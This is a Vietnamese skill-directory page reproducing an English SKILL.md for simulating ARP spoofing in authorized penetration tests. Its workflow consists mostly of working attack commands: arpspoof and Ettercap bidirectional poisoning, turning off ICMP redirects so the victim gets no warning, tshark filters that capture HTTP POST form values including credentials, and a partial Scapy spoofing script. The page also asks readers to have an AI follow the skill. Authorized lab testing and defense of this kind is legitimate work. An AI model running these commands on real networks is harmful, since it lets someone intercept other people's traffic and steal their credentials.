Chuyển đến nội dung
Skillpedia
Bảo mật35k · #8185

performing-arp-spoofing-attack-simulation

Skill này làm gì

Tính năng này mô phỏng các cuộc tấn công ARP spoofing trong mạng thử nghiệm được ủy quyền. Nó giúp xác minh xem các biện pháp bảo vệ mạng, như tường lửa và hệ thống phát hiện xâm nhập, có thể nhận diện và chặn loại tấn công này không.

Khi nào nên dùng

  • ✓Kiểm thử bảo mật của một mạng phòng lab trước khi đưa vào hoạt động.
  • ✓Trình bày cho đội của bạn cách một cuộc tấn công “man-in-the-middle” diễn ra.
  • ✓Kiểm tra xem hệ thống giám sát mạng có cảnh báo hoạt động đáng ngờ không.

Liên kết skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-arp-spoofing-attack-simulation/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-arp-spoofing-attack-simulation/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Hãy mô phỏng tấn công ARP spoofing trên mạng thử nghiệm của tôi để xem IDS có phát hiện không.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Công cụ hoạt động bằng cách đánh lừa các thiết bị trong mạng để gửi dữ liệu qua máy tính của bạn thay vì đến đích trực tiếp. Điều này cho phép bạn quan sát xem hệ thống bảo mật có nhận ra sự thay đổi không.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Performing ARP Spoofing Attack Simulation

When to Use

  • Testing whether network switches and infrastructure properly implement Dynamic ARP Inspection (DAI)
  • Demonstrating man-in-the-middle attack risks to stakeholders during authorized security assessments
  • Validating that network monitoring tools (IDS/IPS, SIEM) detect ARP cache poisoning attempts
  • Assessing the effectiveness of port security, 802.1X, and VLAN segmentation controls
  • Training SOC analysts to recognize ARP spoofing indicators in network traffic

Do not use on production networks without explicit written authorization and a rollback plan, against networks carrying critical or life-safety traffic, or as a denial-of-service attack vector.

Prerequisites

  • Written authorization specifying in-scope network segments for ARP spoofing simulation
  • Kali Linux or similar penetration testing distribution with arpspoof, Ettercap, and Scapy installed
  • Direct Layer 2 access to the target network segment (same VLAN as target hosts)
  • IP forwarding knowledge and ability to enable/disable packet forwarding on the attacker machine
  • Wireshark or tcpdump for capturing traffic to verify interception
  • Isolated lab environment or approved production test window

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Enumerate the Target Network Segment

# Discover hosts on the local subnet
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt

# Identify the default gateway
ip route show default
# Output: default via 192.168.1.1 dev eth0

# Identify target hosts and their MAC addresses
arp-scan -l -I eth0

# Verify the current ARP table
arp -a

# Note the gateway IP (192.168.1.1) and target host IP (192.168.1.50)
# Record their legitimate MAC addresses for verification and cleanup

Step 2: Enable IP Forwarding

# Enable IPv4 forwarding to relay packets between victim and gateway
sudo sysctl -w net.ipv4.ip_forward=1

# Verify forwarding is enabled
cat /proc/sys/net/ipv4/ip_forward
# Should output: 1

# Optionally prevent ICMP redirects that could alert the victim
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0

Step 3: Execute ARP Spoofing with arpspoof

# Spoof the gateway to the target (tell target we are the gateway)
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1

# In a separate terminal, spoof the target to the gateway (bidirectional)
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50

# Alternative: Use Ettercap for unified bidirectional spoofing
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//

Step 4: Capture and Analyze Intercepted Traffic

# Capture all traffic flowing through the attacker machine
sudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50

# Use tshark to capture HTTP credentials in real-time
sudo tshark -i eth0 -Y "http.request.method == POST" \
  -T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value

# Capture DNS queries from the victim
sudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
  -T fields -e frame.time -e dns.qry.name

# Use Ettercap with password collection filters
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
  -w ettercap_capture.pcap

Step 5: Demonstrate Impact with Scapy (Custom ARP Packets)

#!/usr/bin/env python3
"""ARP spoofing demonstration using Scapy for authorized security testing."""

from scapy.all import Ether, ARP, sendp, srp, conf
import time
import sys

conf.verb = 0

def get_mac(ip, iface="eth0"):
    """Resolve IP to MAC address via ARP request."""
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
                 timeout=2, iface=iface)
    if ans:
        return ans[0][1].hwsrc
    return None

def spoof(target_ip, spoof_ip, target_mac, iface="eth0"):
    """Send spoofed ARP reply to target."""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    sendp(Ether(dst=target_mac) / packet, iface=iface, verbose=False)

def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface="eth0"):
    """Restore legitimate ARP entries."""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
                 psrc=gateway_ip, hwsrc=gateway_mac)

…
Câu hỏi thường gặp

Tôi có thể dùng tính năng này trên mạng thông thường không?

Không. Tính năng này chỉ nên dùng trong môi trường phòng lab hoặc trên mạng thật khi có sự cho phép rõ ràng và kế hoạch hoàn tác thay đổi. Dùng khi không được phép là vi phạm pháp luật.

ARP spoofing là gì?

Đây là kỹ thuật trong đó kẻ tấn công gửi thông điệp giả đến mạng, gắn địa chỉ MAC của chúng với địa chỉ IP của thiết bị khác (như bộ định tuyến). Điều này khiến lưu lượng bị gửi đến kẻ tấn công.

Các công cụ nào được dùng?

Các công cụ phổ biến gồm arpspoof, Ettercap và Scapy, là các chương trình chuyên dùng để thao tác mạng.

Chi tiết

Mô tả gốc của tác giả

Simulates ARP spoofing/cache-poisoning attacks in authorized lab or pentest environments using arpspoof, Ettercap, and Scapy to demonstrate man-in-the-middle risk and validate Dynamic ARP Inspection, port security, and network monitoring detections. Use when testing whether switches, IDS/IPS, or a SIEM detect ARP spoofing under written authorization; do not use on production networks without expli

repo: mukul975/Anthropic-Cybersecurity-Skills

Độ phổ biến

Sao GitHub
35k
Vị trí xếp hạng
#8185
Giấy phép
Apache-2.0
Cập nhật
31/8/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự